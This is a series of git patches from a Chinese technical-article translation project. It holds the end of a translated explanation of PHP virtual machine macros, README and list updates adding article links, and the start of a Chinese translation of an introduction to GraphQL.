+If the operands do not happen to satisfy the fast-path, we fall back to the generic implementation, which starts with
+SAVE_OPLINE(). This is our signal for “potentially throwing operations follow”. Before going any further, the case of
+undefined variables is handled. GET_OPn_UNDEF_CV will in this case emit an undefined variable notice and return a NULL
+value.
+
+Next, the generic shift_left_function is called and writes its result into `EX_VAR(opline->result.var)`. Finally, the
+input operands are freed (if necessary) and we advance to the next opcode with an exception check (which means the
+opline is reloaded before advancing).
+
+As such, the fast-path here saves two checks for undefined variables, a call to a generic operator function, freeing
+of operand, as well as saving and reloading of the opline for exception handling. Most of the performance sensitive
+opcodes are lain out in a similar fashion.
+
+## VM macros ##
+
+As can be seen from the previous code listing, the virtual machine implementation makes liberal use of macros. Some of
+these are normal C macros, while others are resolved during generation of the virtual machine. In particular, this
+includes a number of macros for fetching and freeing instruction operands:
+
+```
+OPn_TYPE
+OP_DATA_TYPE
+
+GET_OPn_ZVAL_PTR(BP_VAR_*)
+GET_OPn_ZVAL_PTR_DEREF(BP_VAR_*)
+GET_OPn_ZVAL_PTR_UNDEF(BP_VAR_*)
+GET_OPn_ZVAL_PTR_PTR(BP_VAR_*)
+GET_OPn_ZVAL_PTR_PTR_UNDEF(BP_VAR_*)
+GET_OPn_OBJ_ZVAL_PTR(BP_VAR_*)
+GET_OPn_OBJ_ZVAL_PTR_UNDEF(BP_VAR_*)
+GET_OPn_OBJ_ZVAL_PTR_DEREF(BP_VAR_*)
+GET_OPn_OBJ_ZVAL_PTR_PTR(BP_VAR_*)
+GET_OPn_OBJ_ZVAL_PTR_PTR_UNDEF(BP_VAR_*)
+GET_OP_DATA_ZVAL_PTR()
+GET_OP_DATA_ZVAL_PTR_DEREF()
+
+FREE_OPn()
+FREE_OPn_IF_VAR()
+FREE_OPn_VAR_PTR()
+FREE_UNFETCHED_OPn()
+FREE_OP_DATA()
+FREE_UNFETCHED_OP_DATA()
+
+```
+
+As you can see, there are quite a few variations here. The `BP_VAR_*` arguments specify the fetch mode and support the
+same modes as the FETCH_* instructions (with the exception of FUNC_ARG).
+
+`GET_OPn_ZVAL_PTR()` is the basic operand fetch. It will throw a notice on undefined CV and will not dereference the
+operand. `GET_OPn_ZVAL_PTR_UNDEF()` is, as we already learned, a variant that does not check for undefined CVs.
+`GET_OPn_ZVAL_PTR_DEREF()` includes a DEREF of the zval. This is part of the specialized GET operation, because
+dereferencing is only necessary for CVs and VARs, but not for CONSTs and TMPs. Because this macro needs to distinguish
+between TMPs and VARs, it can only be used with `TMP|VAR` specialization (but not `TMPVAR`).
+
+The `GET_OPn_OBJ_ZVAL_PTR*()` variants additionally handle the case of an UNUSED operand. As mentioned before, by
+convention `$this` accesses use an UNUSED operand, so the `GET_OPn_OBJ_ZVAL_PTR*()` macros will return a reference to
+`EX(This)` for UNUSED ops.
+
+Finally, there are some `PTR_PTR` variants. The naming here is a leftover from PHP 5 times, where this actually used
+doubly-indirected zval pointers. These macros are used in write operations and as such only support CV and VAR types
+(anything else returns NULL). They differ from normal PTR fetches in that that they de-INDIRECT VAR operands.
+
+The `FREE_OP*()` macros are then used to free the fetched operands. To operate, they require the definition of a
+`zend_free_op free_opN` variable, into which the GET operation stores the value to free. The baseline `FREE_OPn()`
+operation will free TMPs and VARs, but not free CVs and CONSTs. `FREE_OPn_IF_VAR()` does exactly what it says: free the
+operand only if it is a VAR.
+
+The `FREE_OP*_VAR_PTR()` variant is used in conjunction with `PTR_PTR` fetches. It will only free VAR operands and only
+if they are not INDIRECTed.
+
+The `FREE_UNFETCHED_OP*()` variants are used in cases where an operand must be freed before it has been fetched with
+GET. This typically occurs if an exception is thrown prior to operand fetching.
+
+Apart from these specialized macros, there are also quite a few macros of the more ordinary sort. The VM defines three
+macros which control what happens after an opcode handler has run:
+
+```
+ZEND_VM_CONTINUE()
+ZEND_VM_ENTER()
+ZEND_VM_LEAVE()
+ZEND_VM_RETURN()
+
+```
+
+CONTINUE will continue executing opcodes as normal, while ENTER and LEAVE are used to enter/leave a nested function
+call. The specifics of how these operate depends on precisely how the VM is compiled (e.g., whether global registers are
+used, and if so, which). In broad terms, these will synchronize some state from globals before continuing. RETURN is
+used to actually exit the main VM loop.
+
+ZEND_VM_CONTINUE() expects that the opline is updated beforehand. Of course, there are more macros related to that:
+
+```
+                                        | Continue? | Check exception? | Check interrupt?
+ZEND_VM_NEXT_OPCODE()                   |   yes     |       no         |       no
+ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION()   |   yes     |       yes        |       no
+ZEND_VM_SET_NEXT_OPCODE(op)             |   no      |       no         |       no
+ZEND_VM_SET_OPCODE(op)                  |   no      |       no         |       yes
+ZEND_VM_SET_RELATIVE_OPCODE(op, offset) |   no      |       no         |       yes
+ZEND_VM_JMP(op)                         |   yes     |       yes        |       yes
+
+```
+
+The table shows whether the macro includes an implicit ZEND_VM_CONTINUE(), whether it will check for exceptions and
+whether it will check for VM interrupts.
+
+Next to these, there are also `SAVE_OPLINE()`, `LOAD_OPLINE()` and `HANDLE_EXCEPTION()`. As has been mentioned in the
+section on exception handling, SAVE_OPLINE() is used before the first potentially throwing operation in an opcode
+handler. If necessary, it writes back the opline used by the VM (which might be in a global register) into the execute
+data. LOAD_OPLINE() is the reverse operation, but nowadays it sees little use, because it has effectively been rolled
+into ZEND_VM_NEXT_OPCODE_CHECK_EXCEPTION() and ZEND_VM_JMP().
+
+HANDLE_EXCEPTION() is used to return from an opcode handler after you already know that an exception has been thrown. It
+performs a combination of LOAD_OPLINE and CONTINUE, which will effectively dispatch to the HANDLE_EXCEPTION opcode.
+
+Of course, there are more macros (there are always more macros…), but this should cover the most important parts.
+
+If you liked this article, you may want to [browse my other articles](http://nikic.github.io/) or
+            [follow me on Twitter](https://twitter.com/#!/nikita_ppv).
+        
+[blog comments powered by Disqus](http://disqus.com)
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From f17aab49c00f5a900952b2148e4969994cb6a5d7 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 20 Apr 2017 21:47:03 +0800
Subject: [PATCH 210/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E8=A7=A3=E6=9E=90?=
 =?UTF-8?q?=20Go=20=E4=B8=AD=E7=9A=84=E5=87=BD=E6=95=B0=E8=B0=83=E7=94=A8?=
 =?UTF-8?q?=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md  | 4 ++--
 backend.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index ccb12925f58..fd24ad9258a 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [465](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [466](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
-* [在 Apache 和 Nginx 日志里检测爬虫机器人](https://juejin.im/post/58ea5758ac502e4957c78808/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([luoyaqifei](https://github.com/luoyaqifei) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程
diff --git a/backend.md b/backend.md
index 9d3f38cc8d7..5f463e494f9 100644
--- a/backend.md
+++ b/backend.md
@@ -1,3 +1,4 @@
+* [解析 Go 中的函数调用](https://juejin.im/post/58f579b58d6d81006491c7c0/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [Go 函数调用 Redux](https://juejin.im/post/58f57be144d904006c09019c/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([xiaoyusilen](https://github.com/xiaoyusilen)翻译)
 * [关于在 Node.js 中引用模块，知道这些就够了](https://juejin.im/post/58eb3812da2f60005f0bae9b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([zhouzihanntu](https://github.com/zhouzihanntu) 翻译)
 * [模块化 vs. 微服务](https://juejin.im/post/58eb2627da2f60005f0b2d60/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)

From cb828aa014515d30078cdf1771571ad406d59a24 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 20 Apr 2017 21:57:09 +0800
Subject: [PATCH 211/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E5=87=BD=E6=95=B0?=
 =?UTF-8?q?=E5=BC=8F=E7=A8=8B=E5=BA=8F=E5=91=98=E7=9A=84=20JavaScript=20?=
 =?UTF-8?q?=E7=AE=80=E4=BB=8B=20(=E8=BD=AF=E4=BB=B6=E7=BC=96=E5=86=99)?=
 =?UTF-8?q?=EF=BC=88=E7=AC=AC=E4=B8=89=E9=83=A8=E5=88=86=EF=BC=89=20?=
 =?UTF-8?q?=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index fd24ad9258a..cf0865a9503 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [466](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [467](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
-* [使用开发者工具在浏览器中调整设计](https://juejin.im/post/58f0729b570c35005625630a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([bambooom](https://github.com/bambooom) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index a101aeea2da..68aac69aee5 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)

From 24b91f7dffb4a13aeae942de6935fae9c1713ea7 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 20 Apr 2017 22:03:00 +0800
Subject: [PATCH 212/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20Functor=20?=
 =?UTF-8?q?=E4=B8=8E=20Category=20=EF=BC=88=E8=BD=AF=E4=BB=B6=E7=BC=96?=
 =?UTF-8?q?=E5=86=99=EF=BC=89=EF=BC=88=E7=AC=AC=E5=85=AD=E9=83=A8=E5=88=86?=
 =?UTF-8?q?=EF=BC=89=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index cf0865a9503..261d1d50473 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [467](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [468](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
-* [React 的慢与快：优化 React 应用实战](https://juejin.im/entry/58eb2fb0570c350057dd921a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([AceLeeWinnie(Jiang Haichao)](https://github.com/AceLeeWinnie) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 68aac69aee5..2396a536870 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)

From b5187ee9c93b441effcfc2a0cd1a85ce493ba274 Mon Sep 17 00:00:00 2001
From: sqrthree <imsqrtthree@gmail.com>
Date: Thu, 20 Apr 2017 22:11:22 +0800
Subject: [PATCH 213/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=20=E4=B8=BA=E4=BB=80?=
 =?UTF-8?q?=E4=B9=88=E7=94=A8=20JavaScript=20=E5=AD=A6=E4=B9=A0=E5=87=BD?=
 =?UTF-8?q?=E6=95=B0=E5=BC=8F=E7=BC=96=E7=A8=8B=EF=BC=9F=EF=BC=88=E8=BD=AF?=
 =?UTF-8?q?=E4=BB=B6=E7=BC=96=E5=86=99=EF=BC=89=EF=BC=88=E7=AC=AC=E4=BA=8C?=
 =?UTF-8?q?=E9=83=A8=E5=88=86=EF=BC=89=20=E7=9A=84=E7=A7=AF=E5=88=86?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md    | 4 ++--
 front-end.md | 1 +
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 261d1d50473..56611cb7cbb 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [468](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [469](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -37,10 +37,10 @@
 
 ## 前端
 
+* [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
-* [跌宕起伏的函数式编程（软件编写）（第一部分）](https://juejin.im/post/58f0eb570ce463006ba37089?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 
diff --git a/front-end.md b/front-end.md
index 2396a536870..f8343480403 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [为什么用 JavaScript 学习函数式编程？（软件编写）（第二部分）](https://juejin.im/post/58f5a2ecb123db2fa2b1b244?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([gy134340](http://gy134340.com/) 翻译)
 * [Functor 与 Category （软件编写）（第六部分）](https://juejin.im/post/58f58d5da0bb9f006aac3e8d?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)
 * [函数式程序员的 JavaScript 简介 (软件编写)（第三部分）](https://juejin.im/post/58f58b06da2f60005d43388b?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([sunui](https://github.com/sunui) 翻译)
 * [Reduce（软件编写）（第五部分）](https://juejin.im/post/58f44082da2f60005d3a3710?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yoyoyohamapi](https://github.com/yoyoyohamapi) 翻译)

From 4050baa6607de6889238f8590a6e007c8beec9fc Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Thu, 20 Apr 2017 22:42:35 +0800
Subject: [PATCH 214/638] Update
 so-whats-this-graphql-thing-i-keep-hearing-about.md

---
 ...this-graphql-thing-i-keep-hearing-about.md | 238 +++++++++---------
 1 file changed, 119 insertions(+), 119 deletions(-)

diff --git a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
index 962818c5969..08f201709ce 100644
--- a/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
+++ b/TODO/so-whats-this-graphql-thing-i-keep-hearing-about.md
@@ -1,84 +1,84 @@
 > * 原文地址：[So what’s this GraphQL thing I keep hearing about?](https://medium.freecodecamp.com/so-whats-this-graphql-thing-i-keep-hearing-about-baf4d36c20cf)
 > * 原文作者：[Sacha Greif](https://medium.freecodecamp.com/@sachagreif?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[lsvih](https://github.com/xitu/lsvih)
 > * 校对者：
 
 ![](https://cdn-images-1.medium.com/max/2000/1*uF2-YU2quykHIs4tKXy7sw.png)
 
-# So what’s this GraphQL thing I keep hearing about? #
+# 我经常听到的 GraphQL 到底是什么？ #
 
-If you’re like me, you probably go through three stages when hearing about a new technology:
+当听说又出了一门新技术的时候，你可能会和我一样有以下 3 种反应：
 
-#### 1. Dismissal ####
+#### 1. 嫌弃 ####
 
-> One more JavaScript library?! Just use jQuery already!
+> 又来一个 JavaScript 类库？反正我就用 jQuery。
 
-#### 2. Interest ####
+#### 2. 感兴趣 ####
 
-> Hmm, maybe I **should** check out this new library I keep hearing about…
+> 嗯，也许我**应该**去了解一下这个我总是听别人说到的新东西。
 
-#### 3. Panic ####
+#### 3. 恐慌 ####
 
-> Help! I need to learn this new library **right now** or I’ll be completely obsolete!
+> 救命啊！我必须**现在马上**去学这个新东西，否则我就会被淘汰了！
 
-The trick to maintaining your sanity in these fast-moving times is to learn new stuff right between stages two and three, once your interest is piqued but while you’re still ahead of the curve.
+在这个迅速变化的时代，让你保持理智的方法就是在以上第二到第三阶段间学习一些新的知识，走在潮流之前的同时仍然保持高昂的兴趣。
 
-Which is why now is the perfect time to learn what exactly this GraphQL thing you keep hearing about really is.
+因此，现在就是学习 GraphQL 这个你常常听到别人谈论的东西的最好时机！
 
-### The Basics ###
+### 基础 ###
 
-In a nutshell, GraphQL is **a syntax that describes how to ask for data**, and is generally used to load data from a server to a client. GraphQL has three main characteristics:
+简单的说，GraphQL 是一种**描述请求数据方法的语法**，通常用于客户端从服务端加载数据。GraphQL 有以下三个主要特征：
 
-- It lets the client specify exactly what data it needs.
-- It makes it easier to aggregate data from multiple sources.
-- It uses a type system to describe data.
+- 它让客户端能具体指定需要拿的数据。
+- 它让从多个数据源汇总取数据变得更简单。
+- 它使用了类型系统来描述数据。
 
-So how did GraphQL get started? What does it look like in practice? And how do you start using it? Read on to find out!
+如何入门 GraphQL 呢？它实际应用起来是怎样的呢？你如何开始使用它呢？要找到以上问题的答案，请继续阅读吧！
 
 ![](https://cdn-images-1.medium.com/max/800/1*NpFL8vnrMQ-D1L6T89T-4A.png)
 
-### The Problem ###
+### 遇到的问题 ###
 
-GraphQL got its start at big old Facebook, but even much simpler apps can often bump into the limitations of traditional REST APIs.
+GraphQL 是由 Facebook 开发的，用于解决他们巨大、老旧的架构的数据请求问题。但是即使是比 Facebook 小很多的 app，也同样会碰上一些传统 REST API 的局限性问题。
 
-For example, imagine you need to display a list of `posts`, and under each post a list of `likes`, including user names and avatars. Easy enough, you tweak your `posts` API to include a `likes` array containing user objects:
+例如，假设你要展示一个文章（`posts`）列表，在每篇文章的下面显示喜欢这篇文章的用户列表（`likes`），其中包括用户名和用户头像。这个需求很容易解决，你只需要请求你的`posts` API，然后在其中嵌入包括用户对象的 `likes` 列表，如下所示：
 
 ![](https://cdn-images-1.medium.com/max/800/1*VuIe8p5Z00HAdnWTv0QUww.png)
 
-But now, it’s time to work on your mobile app, and it turns out loading all that extra data is slowing things down. So you now need *two* endpoints, one with the `likes` and one without them.
+但是现在你要开发移动 app，加载所有的额外数据会降低 app 的速度。所以你得请求两个端点（API），一个包含了 `likes` 的信息，另一个不含这些信息（只含有文章信息）。
 
-Now add one more factor to the mix: it turns out that while `posts` are stored in a MySQL database, `likes` on the other hand live in a Redis store! What do you do now?!
+现在我们再掺入另一种情况：`posts` 是由 MySQL 数据库存储的，而 `likes` 却是由 Redis 存储的。现在你该怎么办？
 
-Extrapolate this scenario to however many data sources and API clients Facebook has to manage, and you can imagine why good old REST APIs were starting to show their limits.
+按着这个剧本想一想 Facebook 的客户端有多少个数据源和 API 需要管理，你就知道为什么现在评价很好的 REST API 会体现出局限性了。
 
-### The Solution ###
+### 解决的方案 ###
 
-The solution Facebook came up with is conceptually very simple: instead of having multiple “dumb” endpoints, have a single “smart” endpoint that can take in complex queries, and then massage the data output into whatever shape the client requires.
+Facebook 提出了一个概念很简单的解决方案：不再使用多个“愚蠢”的节点，而是换成用一个“聪明”的节点来进行复杂的查询，将数据按照客户端的要求传回。
 
-Practically speaking, the GraphQL layer lives between the client and one or more data sources, receiving client requests and fetching the necessary data according to your instructions. Confused? It’s metaphor time!
+实际上，GraphQL 处于客户端与一个或多个数据源之间，它接收客户端的请求然后根据你的设定取出需要的数据。还是不明白吗？让我们打个比方吧！
 
-The old REST model is like ordering pizza, then getting groceries delivered, then calling your dry cleaner to get your clothes. Three shops, three phone calls.
+之前的 REST 模型就好像你预定了一块披萨，然后又要去找便利店送货上门一些日用品，接着打电话给干洗店去取衣服。这有三个商店，你就得打三次电话。
 
 ![](https://cdn-images-1.medium.com/max/800/1*LVQb9_hxti9j-fY7SH3aKA.png)
 
-GraphQL on the other hand is like having a personal assistant: once you’ve given them the addresses to all three places, you can simply ask for what you want (“get me my dry cleaning, a large pizza, and two dozen eggs”) and wait for them to return.
+GraphQL 从某方面来说就像是一个私人助理：你只需要给它这三个店的地址，然后简单地告诉它你需要什么 （“把我放在干洗店的衣服拿来，然后带一块大号披萨，顺便带两个鸡蛋”），然后坐着等他回来就行了。
 
 ![](https://cdn-images-1.medium.com/max/800/1*AFX14UE3utIs7xktnxVIng.png)
 
-In other words, GraphQL establishes a standard language for talking to this magical personal assistant.
+换句话说，为了让你能和这个神奇的私人助手沟通，GraphQL 建立了一套标准的语言。
 
